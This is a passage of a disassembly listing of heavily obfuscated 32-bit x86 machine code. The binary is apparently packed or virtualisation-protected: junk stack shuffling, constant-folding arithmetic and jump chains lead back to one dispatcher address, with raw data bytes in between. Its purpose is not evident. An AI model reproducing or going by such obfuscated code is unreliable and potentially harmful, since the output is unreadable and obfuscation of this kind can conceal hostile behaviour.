		dd 788968h, 240C8900h, 5404EC83h, 0E924048Fh, 0D350h
; ---------------------------------------------------------------------------


loc_5A02F8:				; CODE XREF: sdfs____:005AEE68j
		sub	eax, 2
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------
		db 0B9h, 0AAh, 68h
		dd 0CD893C47h, 83240C8Bh, 0B95104C4h, 535E47D4h, 4CE94141h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0327:				; CODE XREF: sdfs____:0059F710j
					; sdfs____:005AA0A3j
		push	ebx
		mov	bl, cl
		mov	dl, bl
		mov	ebx, [esp]
		add	esp, 4
		mov	cx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_59F0AB
; ---------------------------------------------------------------------------


loc_5A0341:				; CODE XREF: sdfs____:005A7D7Cj
		add	esp, 4
		push	eax
		mov	ah, bl
		push	ecx
		mov	cl, ah
		mov	dh, cl
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		pop	ebx
		pop	eax
		mov	bx, [esp]
		add	esp, 2
		xor	al, dh
		jmp	loc_5A69C0
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 4C181h, 0D0E90000h
		db 80h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0377:				; CODE XREF: sdfs____:005AAA16j
		or	dl, ah
		mov	eax, [esp]
		add	esp, 4
		shl	dl, 7
		sub	dl, 47h
		push	7AA0h
		mov	[esp], eax
		mov	al, dl
		mov	ch, al
		pop	eax
		push	dword ptr [esp]
		jmp	loc_59DEBF
; ---------------------------------------------------------------------------


loc_5A039A:				; CODE XREF: sdfs____:005A36F9j
		push	ebp
		mov	ebp, 116B3D1Dh
		mov	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_5A695A
; ---------------------------------------------------------------------------


loc_5A03AA:				; CODE XREF: sdfs____:005A3A21j
		push	61F4h
		mov	[esp], esi
		mov	esi, 8000h
		and	eax, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		sub	esp, 4
		jmp	loc_5AB0EC
; ---------------------------------------------------------------------------
		dw 0E4B6h
		dd 5001C680h, 0C77CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A03D9:				; CODE XREF: sdfs____:005A2D2Fj
		sub	edx, 67D473ABh
		jmp	loc_59910F
; ---------------------------------------------------------------------------
		dd 0EC2AE0B9h, 3111BF5Ah, 0CF2966B0h, 9CE78159h, 0C12AE179h
		dd 0C78103E7h, 7E721C9Bh, 494468h, 24348900h, 82B85052h
		dd 0BA42CC6Ah, 60B9B7D7h, 0CDE9C229h
		db 0AAh, 2 dup(0FFh)
byte_5A041B	db 66h			; DATA XREF: sdfs____:00598EB0o
		dd 5724048Bh, 6368E789h, 8900004Ch, 4B82404h, 1000000h
		dd 24048BC7h, 271768h, 24048900h, 8068E089h, 89000055h
		dd 0BE56242Ch, 0AFA77C4h, 7E3EC3BDh, 0E9F5310Bh, 723Dh
		dd 6EAC142h, 3D76EA81h,	156804D8h, 89000036h, 68BD242Ch
		dd 298EF587h, 0D0015DEAh, 14EAE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A047A:				; CODE XREF: sdfs____:005AC207j
		add	ebx, ecx
		sub	ebx, 33122C97h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5A00A9
; ---------------------------------------------------------------------------
		dw 0C383h
		dd 241C8704h, 6BD7E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A0499:				; CODE XREF: sdfs____:005ACCD1j
		or	edi, 5D6B402Dh
		push	ebp
		push	62133B79h
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 57B52BD1h
		xor	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5A78B3
; ---------------------------------------------------------------------------
		db 5, 0AEh, 0DBh
		dd 0C389EA7Ch, 0E9DBF758h, 0BC8Fh
; ---------------------------------------------------------------------------


loc_5A04D0:				; CODE XREF: sdfs____:005A359Cj
		mov	bl, dl
		pop	edx
		xor	bl, 9
		jmp	loc_5A21FF
; ---------------------------------------------------------------------------


loc_5A04DB:				; CODE XREF: sdfs____:0059DD04j
		dec	edx
		jg	loc_599798
		sub	edx, 60DC5EBFh
		mov	esi, edx
		mov	edx, [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 64A72229h
		and	ebp, 2742157Eh
		shl	ebp, 1
		jnp	loc_5AAE43
		and	ebp, 766D309Ch
		jnb	loc_5AA0C2
		xor	ebp, 70EF0FB3h
		jmp	loc_5A85EF
; ---------------------------------------------------------------------------
		dw 8B5Eh
		db 0D1h, 5Eh
; ---------------------------------------------------------------------------


loc_5A0522:				; CODE XREF: sdfs____:005A2952j
		push	ax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5A77C9
; ---------------------------------------------------------------------------


loc_5A053F:				; CODE XREF: sdfs____:005A2F63j
					; sdfs____:005AC821j
		or	ebp, 39015939h
		jmp	loc_5ADE92
; ---------------------------------------------------------------------------
		dw 0D601h
		dd 728FEE81h, 148B1F0Fh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5A67A5
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 54E95258h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0567:				; CODE XREF: sdfs____:005AD790j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 77AE4BA1h
		push	1C81h
		mov	[esp], edi
		mov	edi, 5F27749Ch
		shl	edi, 8
		add	edi, 0FB17898Ch
		sub	eax, edi
		pop	edi
		add	eax, ebx
		push	edx
		mov	edx, 228C258Ch
		jmp	loc_5A3173
; ---------------------------------------------------------------------------
byte_5A0599	db 8Bh,	2 dup(24h)	; DATA XREF: sdfs____:00598FDCo
		dd 0FF8B6EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A05A1:				; CODE XREF: sdfs____:0059CF48j
					; sdfs____:005A62A6j ...
		push	ecx
		jmp	loc_5A329D
; ---------------------------------------------------------------------------
		db 0F7h
		dd 178E0FDEh, 810000F5h, 90C030C6h, 0C091E93Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A05BA:				; CODE XREF: sdfs____:005ABCA3j
		jle	loc_5A001F
		jmp	loc_5A353F
; ---------------------------------------------------------------------------


loc_5A05C5:				; CODE XREF: sdfs____:loc_5A7C5Aj
		jmp	loc_59F9CF
; ---------------------------------------------------------------------------


loc_5A05CA:				; CODE XREF: sdfs____:005B02DEj
		pop	ebp
		push	edi
		mov	edi, 78AB581Fh
		sub	[esp+8], edi
		pop	edi
		push	ebp
		mov	ebp, 577567E9h
		add	[esp+8], ebp
		pop	ebp
		sub	dword ptr [esp+4], 51281642h
		jmp	loc_5A53A4
; ---------------------------------------------------------------------------


loc_5A05EE:				; CODE XREF: sdfs____:005A5513j
		push	ecx
		push	bx
		mov	bh, 99h
		mov	ch, bh
		mov	bx, [esp]
		add	esp, 2
		and	ch, 0CCh
		xor	ch, 3Eh
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 0FFh
		jmp	loc_5A1983
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 1CDA68h, 240C8900h, 0C181E189h, 4, 4C181h, 0C870000h
		dd 0FA5EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0636:				; CODE XREF: sdfs____:005AFFC2j
		pop	eax
		mov	ah, bh
		pop	ebx
		push	edx
		push	ecx
		mov	ch, ah
		mov	dl, ch
		pop	ecx
		mov	bl, dl
		pop	edx
		jmp	loc_59BD1A
; ---------------------------------------------------------------------------


loc_5A0649:				; CODE XREF: sdfs____:005AD7A5j
		mov	[esp], edx
		mov	dh, 46h
		sub	dh, 0BFh
		dec	dh
		not	dh
		xor	dh, 4Ah
		add	bl, dh
		jmp	loc_5A3B10
; ---------------------------------------------------------------------------
		db 83h
		dd 8149FFC1h, 9E5117C1h, 45B26821h, 1C890000h, 73A9BB24h
		dd 0D901F49Ah, 81241C8Bh, 4C4h,	4815100h, 833CE624h, 24048B23h
		dd 0FFC1AFE9h, 0AF8C0FFFh, 0E9FFFFD7h, 1599h
; ---------------------------------------------------------------------------


loc_5A069C:				; CODE XREF: sdfs____:0059FD09j
		add	bl, dl
		pop	edx
		jmp	loc_59B7A2
; ---------------------------------------------------------------------------


loc_5A06A4:				; CODE XREF: sdfs____:0059C49Ej
		jp	loc_5AF499
		jmp	loc_5AB44D
; ---------------------------------------------------------------------------


loc_5A06AF:				; CODE XREF: sdfs____:005A863Aj
		dec	eax
		not	eax
		jmp	loc_5A8267
; ---------------------------------------------------------------------------


loc_5A06B7:				; CODE XREF: sdfs____:005AA3F7j
		mov	edi, 7CC9717Dh
		jmp	loc_5ADA16
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 51243C89h, 0FFFD17E9h, 15C4E9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A06D2:				; CODE XREF: sdfs____:005AB6FDj
		sub	ecx, 58DF7D45h
		jmp	loc_5AEFE8
; ---------------------------------------------------------------------------


loc_5A06DD:				; CODE XREF: sdfs____:005A5024j
					; sdfs____:005A949Dj
		push	ebx
		push	esp
		jmp	loc_59D4E4
; ---------------------------------------------------------------------------


loc_5A06E4:				; CODE XREF: sdfs____:005A6AD3j
		sub	ebx, 1DF468B2h
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 79C36A7Eh
		jmp	loc_5A2CFF
; ---------------------------------------------------------------------------


loc_5A0700:				; CODE XREF: sdfs____:005A817Fj
		pop	ebp
		add	eax, 2
		xchg	eax, [esp]
		pop	esp
		xor	bl, al
		push	6C6Bh
		jmp	loc_59B2B7
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 56E9D829h
		db 0AAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0723:				; CODE XREF: sdfs____:005ABB60j
		push	ecx
		mov	ecx, 4CE01FCAh
		sub	esi, ecx
		pop	ecx
		add	esi, 32E967A7h
		add	esi, edx
		jmp	loc_5A494A
; ---------------------------------------------------------------------------
		db 0Fh,	8Bh, 6Ah
		dd 8100008Eh, 0BEEBB5F1h, 8F0F4928h, 5BF7h, 0F05E9C1h
		dd 0E4A48Bh, 89D9F700h,	19E92434h, 1000046h, 5D04246Ch
		dd 4C18159h, 50000000h,	9287D68h, 0A0E9583Eh
		db 0AFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0777:				; CODE XREF: sdfs____:005A6338j
		pop	ebx
		push	2E3h
		mov	[esp], ebx
		jmp	loc_5AB3FA
; ---------------------------------------------------------------------------


loc_5A0785:				; CODE XREF: sdfs____:loc_5A29ADj
		xor	eax, 72593AC1h
		shr	eax, 1
		add	eax, 62293BBFh
		push	49C3h
		mov	[esp], edi
		push	60EA5719h
		mov	edi, [esp]
		add	esp, 4
		sub	eax, 6BC605D4h
		sub	eax, 5E3B60BDh
		jmp	loc_599C00
; ---------------------------------------------------------------------------
		db 0B6h
		dd 0FEDEF6BDh, 80DEF6CEh, 0F53051EEh, 4EC835Ah,	4AB3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A07C9:				; CODE XREF: sdfs____:0059E99Bj
					; sdfs____:005AA7C7j
		and	ecx, 191939A0h
		shr	ecx, 3
		and	ecx, 2D215006h
		add	ecx, 382B67FEh
		jmp	loc_5A01A7
; ---------------------------------------------------------------------------


loc_5A07E3:				; CODE XREF: sdfs____:loc_59C42Fj
		shl	esi, 5
		js	loc_5A3E06
		shl	esi, 3
		jmp	loc_5B0165
; ---------------------------------------------------------------------------


loc_5A07F4:				; CODE XREF: sdfs____:005ABA46j
		mov	esi, 5E3B60BDh
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_59D9DA
; ---------------------------------------------------------------------------
		dd 5058C101h, 2718A0B8h, 58C12953h, 0FFC848E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A081D:				; CODE XREF: sdfs____:0059B5E3j
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A0827:				; CODE XREF: sdfs____:0059ED23j
		shl	ebx, 3
		jmp	loc_5A7780
; ---------------------------------------------------------------------------
		db 0BEh
		dd 243EFB0h, 728FC681h,	0BE91F0Fh, 81FFFFFDh, 548E80F6h
		dd 8B85017h, 0D742F2Dh,	537F40DEh, 0FFC6B5E9h, 243489FFh
		dd 42474FFh, 0FFA2F3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A0861:				; CODE XREF: sdfs____:005A9577j
		not	esi
		neg	esi
		push	esi
		not	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		shr	esi, 1
		jmp	loc_5A13BF
; ---------------------------------------------------------------------------
byte_5A0879	db 66h,	8Bh, 0Ch	; DATA XREF: sdfs____:00598F54o
aHr		db '$hr ',0
		align 2
		dw 1C89h
aTs		db '$Té]Ô',0
		dw 5800h
		dd 24148B66h, 787DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A0895:				; CODE XREF: sdfs____:005B02A8j
		pop	eax
		push	esi
		jmp	loc_5B03A1
; ---------------------------------------------------------------------------


loc_5A089C:				; CODE XREF: sdfs____:loc_5AE539j
		and	eax, 2BB56192h
		jnz	loc_5A656E
		and	eax, 9170D9Eh
		jg	loc_5AE955
		sub	al, 5Ah
		mov	ecx, eax


loc_5A08B6:				; CODE XREF: sdfs____:005A986Ej
		xor	eax, 7CC0FABEh
		add	ebx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_59D707
; ---------------------------------------------------------------------------


loc_5A08C8:				; CODE XREF: sdfs____:0059ECF4j
		sub	ebp, 6D2D181Bh
		jmp	loc_5A53E3
; ---------------------------------------------------------------------------


loc_5A08D3:				; CODE XREF: sdfs____:005AF140j
		xor	edx, [esp]
		mov	esp, [esp]
		test	cl, al
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A08E1:				; CODE XREF: sdfs____:005AFA79j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_59910F
; ---------------------------------------------------------------------------
		dw 5266h
		dd 0F520C5B6h, 0EC835A66h, 0BD1DE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0916:				; CODE XREF: sdfs____:005A4A00j
		add	esi, 8084293h
		mov	ebp, [esp]
		jmp	loc_5ADD4A
; ---------------------------------------------------------------------------
		dd 1F016853h, 8F540000h, 4812404h, 424h, 2990E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A093A:				; CODE XREF: sdfs____:0059BBE1j
		xor	eax, 7328729Ch
		jmp	loc_5A2738
; ---------------------------------------------------------------------------


loc_5A0944:				; CODE XREF: sdfs____:005A26E3j
		push	ecx
		push	4
		pop	ecx
		add	esi, ecx
		pop	ecx
		add	esi, 2
		xchg	esi, [esp]
		jmp	loc_5A3438
; ---------------------------------------------------------------------------


loc_5A095C:				; CODE XREF: sdfs____:005A5B87j
		jbe	loc_5AECFF
		add	eax, offset byte_5A0BA1
		push	ebp
		mov	al, dh
		and	al, 5Bh


loc_5A096C:				; CODE XREF: sdfs____:005A1FBEj
		sub	ecx, esi
		pop	esi
		sub	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_59E5FE
; ---------------------------------------------------------------------------


loc_5A097A:				; CODE XREF: sdfs____:0059EB14j
		push	edx
		jmp	loc_59BB52
; ---------------------------------------------------------------------------


loc_5A0980:				; CODE XREF: sdfs____:005AB1E0j
		sub	ebx, edx
		pop	edx
		sub	ecx, 0F7C7A92h
		add	ecx, ebx
		add	ecx, 0F7C7A92h
		pop	ebx
		add	ecx, 74BF62A2h
		add	ecx, edi
		sub	ecx, 74BF62A2h
		sub	ecx, 3E434593h
		pop	edi
		push	ebx
		jmp	loc_5A3C19
; ---------------------------------------------------------------------------


loc_5A09AD:				; CODE XREF: sdfs____:0059F221j
		add	esp, 4
		sub	esi, 277B3A19h
		sub	esi, eax
		push	ebp
		mov	ebp, 62E527C7h
		neg	ebp
		or	ebp, 680D0439h
		jmp	loc_5A6BFB
; ---------------------------------------------------------------------------


loc_5A09CB:				; CODE XREF: sdfs____:005995CCj
		dec	edi
		sub	edi, 1F607D07h
		push	eax
		mov	eax, 1
		sub	edi, eax
		pop	eax
		or	edi, 69462010h
		push	ebp
		mov	ebp, 681C12Ch
		add	edi, ebp
		pop	ebp
		add	edx, edi
		pop	edi
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_5AEFD5
; ---------------------------------------------------------------------------


loc_5A09FD:				; CODE XREF: sdfs____:005A9EC0j
		mov	ebx, 25210DDAh
		shr	ebx, 5
		sub	ebx, 450366Eh
		add	ebx, 0DDF0F8C0h
		add	ebp, ebx
		pop	ebx
		push	esi
		mov	esi, 2B522558h
		jmp	loc_5A3CED
; ---------------------------------------------------------------------------
		db 81h
		dd 0AA43F0EBh, 81EB0166h, 0AA43F0C3h, 0EB815D66h, 232C73E4h
		dd 0C381F301h, 232C73E4h, 6FDDBF57h, 0FB295063h, 0FFDBC0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A0A49:				; CODE XREF: sdfs____:005ADBF6j
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	ecx
		push	ebx
		jmp	loc_59D54F
; ---------------------------------------------------------------------------


loc_5A0A5A:				; CODE XREF: sdfs____:0059C7F1j
		jmp	loc_5A0EED
; ---------------------------------------------------------------------------
		db 54h
		dd 4C7815Fh, 81000000h,	4ECh, 242C8900h, 2BDh, 4D02E900h
		dd 90E90000h
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0A7F:				; CODE XREF: sdfs____:005AA478j
		mov	cx, [esp]
		add	esp, 2
		sub	bl, 73h
		jmp	loc_5ADF88
; ---------------------------------------------------------------------------


loc_5A0A8E:				; CODE XREF: sdfs____:005A55ADj
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5AF2A9
; ---------------------------------------------------------------------------
word_5A0AA2	dw 8B66h		; DATA XREF: sdfs____:00598EF0o
		dd 54532404h, 5B2434FFh, 8104C483h, 4ECh, 24348900h, 0FFF80BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A0ABD:				; CODE XREF: sdfs____:0059C318j
		pop	ebp
		push	210Ch
		jmp	loc_59CAF7
; ---------------------------------------------------------------------------


loc_5A0AC8:				; CODE XREF: sdfs____:005A44F9j
		push	esi
		mov	esi, offset dword_4F4E10
		jmp	loc_5AA70B
; ---------------------------------------------------------------------------


loc_5A0AD3:				; CODE XREF: sdfs____:005A7A4Aj
		push	edx
		push	29915B5Bh
		jmp	loc_5A4DF6
; ---------------------------------------------------------------------------


loc_5A0ADE:				; CODE XREF: sdfs____:005A25B4j
		jmp	loc_5B0421
; ---------------------------------------------------------------------------


loc_5A0AE3:				; CODE XREF: sdfs____:0059B057j
		push	esi
		mov	esi, 70536EA5h
		mov	edx, 8FAC915Dh
		jmp	loc_5A2188
; ---------------------------------------------------------------------------
		db 83h
		dd 0E6C004C4h, 0BD7CE906h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0AFE:				; CODE XREF: sdfs____:005A2E0Ej
		pop	ebx
		shl	ebx, 8
		push	ebp
		mov	ebp, 0
		sub	ebp, 514261AEh
		sub	ebp, ebx
		add	ebp, 514261AEh
		jmp	loc_5A6F1E
; ---------------------------------------------------------------------------


loc_5A0B1B:				; CODE XREF: sdfs____:0059EA9Fj
					; sdfs____:005A9783j
		mov	[esp], edi
		push	ebp
		push	4CF94412h
		jmp	loc_59FAD5
; ---------------------------------------------------------------------------


loc_5A0B29:				; CODE XREF: sdfs____:005A66DCj
		mov	[esp], edi
		mov	edi, 2CEC107Ch
		add	[esp+8], edi
		jmp	loc_5AC09F
; ---------------------------------------------------------------------------


loc_5A0B3A:				; CODE XREF: sdfs____:005A2AC2j
		pop	dx
		sub	bh, 2Ah
		jg	loc_5A2D51
		and	bh, 3Fh
		ja	loc_5A841C
		add	bh, 0D7h
		jo	loc_59BD4E
		push	esi


loc_5A0B58:				; CODE XREF: sdfs____:005A1D32j
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A0B5D:				; CODE XREF: sdfs____:0059A0DCj
		push	ebp
		push	eax
		push	1DA70146h
		jmp	loc_59A3D5
; ---------------------------------------------------------------------------


loc_5A0B69:				; CODE XREF: sdfs____:loc_59AC20j
		add	eax, 1F276869h
		not	eax
		inc	eax
		jmp	loc_5AB676
; ---------------------------------------------------------------------------


loc_5A0B76:				; CODE XREF: sdfs____:005A6C54j
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_5A4020
; ---------------------------------------------------------------------------
		dd 4B850h, 0C7010000h, 0BCE95258h, 0F000040h, 0B59389h
		dd 34F38100h
		db 8Ch
byte_5A0BA1	db 0BEh, 3Dh, 5		; DATA XREF: sdfs____:005A0962o
					; sdfs____:loc_5AECFFo
		dd 495F5A41h
dword_5A0BA8	dd 0E9028F66h, 0B9F7h; ---------------------------------------------------------------------------


loc_5A0BB0:				; CODE XREF: sdfs____:0059E1CEj
		pop	ecx
		sub	ebp, 4
		jmp	loc_5A4653
; ---------------------------------------------------------------------------


loc_5A0BB9:				; CODE XREF: sdfs____:0059FB89j
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5A42DB
; ---------------------------------------------------------------------------


loc_5A0BD8:				; CODE XREF: sdfs____:005AB368j
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		sub	ebp, 14EB1823h
		add	ebp, eax
		add	ebp, 14EB1823h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	23DDh
		jmp	loc_59D44D
; ---------------------------------------------------------------------------


loc_5A0C04:				; CODE XREF: sdfs____:0059DACEj
					; sdfs____:0059FAEBj
		mov	ebx, eax
		mov	eax, [esp]
		jmp	loc_5A167C
; ---------------------------------------------------------------------------


loc_5A0C0E:				; CODE XREF: sdfs____:005A9C10j
		add	eax, 68A91452h
		add	eax, ecx
		sub	eax, 68A91452h
		pop	ecx
		push	dword ptr [esp]
		jmp	loc_5AE4FC
; ---------------------------------------------------------------------------


loc_5A0C23:				; CODE XREF: sdfs____:0059EA5Cj
		pop	esi
		push	edx
		jmp	loc_5A21A4
; ---------------------------------------------------------------------------


loc_5A0C2A:				; CODE XREF: sdfs____:005A3290j
					; sdfs____:005A9353j
		add	esp, 4
		push	ecx
		push	64C8h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		push	ebx
		jmp	loc_5A1CE3
; ---------------------------------------------------------------------------


loc_5A0C48:				; CODE XREF: sdfs____:0059C4EEj
					; sdfs____:005A4B19j
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_599D0E
; ---------------------------------------------------------------------------


loc_5A0C5A:				; CODE XREF: sdfs____:005AA763j
		sub	ebx, 57E33D96h
		sub	ebx, 54474494h
		add	ebx, edx
		add	ebx, 54474494h
		add	ebx, 57E33D96h
		add	ebx, 16375269h
		add	ebx, 13C75C65h
		sub	ebx, 3BE121CAh
		jmp	loc_5A305D
; ---------------------------------------------------------------------------
		db 0FFh
		dd 835E2434h, 0C68104C4h, 4, 4EC81h, 7E90000h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0CA3:				; CODE XREF: sdfs____:005AC705j
		jg	loc_5A2D06
		xor	ebp, 6825CAA5h
		push	ebp
		pop	edi
		pop	ebp
		xor	al, 20h
		mov	dh, ch


loc_5A0CB6:				; CODE XREF: sdfs____:005A1E1Aj
		add	dword ptr [ecx], 1
		mov	ecx, [esp]
		add	esp, 4
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	esi
		jmp	loc_5997C5
; ---------------------------------------------------------------------------


loc_5A0CD9:				; CODE XREF: sdfs____:005A43A8j
		sub	esp, 4
		jmp	loc_59A3F1
; ---------------------------------------------------------------------------


loc_5A0CE1:				; CODE XREF: sdfs____:005A58FAj
		push	ecx
		mov	ecx, 0D448B714h
		add	ebp, ecx
		pop	ecx
		add	esi, ebp
		jmp	loc_59C78D
; ---------------------------------------------------------------------------
aIIchsf		db '‰<$‰çhéF',0
		dw 8900h
		dd 0EC812404h, 4, 68240C89h, 35954B8Dh,	0E9240C8Bh, 0FFFFF655h
; ---------------------------------------------------------------------------


loc_5A0D14:				; CODE XREF: sdfs____:0059BBDBj
		jmp	loc_59B3E4
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 4EC81h, 30E90000h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0D27:				; CODE XREF: sdfs____:005A9AADj
		mov	esi, [esp]
		add	esp, 4
		xor	eax, ebp
		pop	ebp
		jmp	loc_5A755C
; ---------------------------------------------------------------------------


loc_5A0D38:				; CODE XREF: sdfs____:0059B82Bj
					; sdfs____:005A5AAAj
		not	edx
		add	edx, 73704C46h
		jmp	loc_5A605B
; ---------------------------------------------------------------------------
		db 2Dh,	0A1h, 55h
		dd 0F050474h, 15B5D5Ah,	5A0F2DE8h, 83E95B5Dh
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0D5B:				; CODE XREF: sdfs____:0059C380j
		pop	eax
		pop	edx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A770C
; ---------------------------------------------------------------------------


loc_5A0D71:				; CODE XREF: sdfs____:005AA129j
		sub	ecx, 6A191A9Dh
		add	ecx, ebp
		add	ecx, 6A191A9Dh
		add	ecx, 6F844018h
		jmp	loc_5ABA6F
; ---------------------------------------------------------------------------


loc_5A0D8A:				; CODE XREF: sdfs____:005A7B40j
		add	esp, 4
		push	edx
		mov	edx, 4AE64FEEh
		jmp	loc_59BDB6
; ---------------------------------------------------------------------------
		dd 1BA1F781h, 0FD894DBBh, 0B9B9515Fh, 8116D066h, 327181C5h
		dd 81CD2955h, 327181EDh, 9C92E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0DBA:				; CODE XREF: sdfs____:005A4007j
					; sdfs____:005A5A73j
		add	esp, 4
		sub	ecx, 4
		jmp	loc_5A7BA0
; ---------------------------------------------------------------------------


loc_5A0DC5:				; CODE XREF: sdfs____:0059E8D7j
		push	4A18h
		mov	[esp], ecx
		mov	ch, 34h
		xor	dh, ch
		pop	ecx
		add	dh, 0A6h
		push	edx
		mov	dh, 1Eh
		sub	dh, 0B8h
		or	dh, 0A9h
		push	eax
		push	ebx
		mov	bh, 4Ah
		mov	ah, 0D6h
		add	ah, bh
		pop	ebx
		inc	ah
		add	ah, 1
		add	ah, 38h
		sub	ah, 0BDh
		or	dh, ah
		jmp	loc_5A4BBF
; ---------------------------------------------------------------------------
byte_5A0DF9	db 64h,	66h, 8Bh	; DATA XREF: sdfs____:00598EC8o
		dd 2E686602h, 4896608h,	8305E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0E0A:				; CODE XREF: sdfs____:005A5A65j
		sub	ebx, eax
		sub	ebx, 631E0053h
		sub	ebx, 7AB514DBh
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_59F4D2
; ---------------------------------------------------------------------------


loc_5A0E23:				; CODE XREF: sdfs____:0059CC40j
		shr	ebp, 8
		shl	ebp, 3
		shr	ebp, 3
		jmp	loc_5A8682
; ---------------------------------------------------------------------------


loc_5A0E31:				; CODE XREF: sdfs____:005AB58Ej
		xor	ebx, 144935FDh
		jmp	loc_59981B
; ---------------------------------------------------------------------------


loc_5A0E3C:				; CODE XREF: sdfs____:005A58DEj
		xor	ch, 0B2h
		add	al, ch
		jmp	loc_5A3B3E
; ---------------------------------------------------------------------------


loc_5A0E46:				; CODE XREF: sdfs____:0059F9B8j
		xchg	eax, [esp]
		jmp	loc_59D93B
; ---------------------------------------------------------------------------


loc_5A0E4E:				; CODE XREF: sdfs____:005AB251j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5A98D6
; ---------------------------------------------------------------------------


loc_5A0E5B:				; CODE XREF: sdfs____:0059B221j
					; sdfs____:005A680Bj
		add	edx, edi
		sub	esp, 4
		mov	[esp], ebx
		xor	dword ptr [esp], 71760FECh
		pop	dword ptr [edx]
		xor	dword ptr [edx], 71760FECh
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_5AE1B6
; ---------------------------------------------------------------------------
		dd 2D04C483h, 5D480D4Eh, 0DA1BD335h, 1C8C0F3Eh,	55000067h
		dd 0FF9D2FE9h, 48B66FFh
		db 24h,	55h, 54h
; ---------------------------------------------------------------------------


loc_5A0EA3:				; CODE XREF: sdfs____:005A55F7j
		mov	[esp], eax
		mov	eax, 55C2AF9h
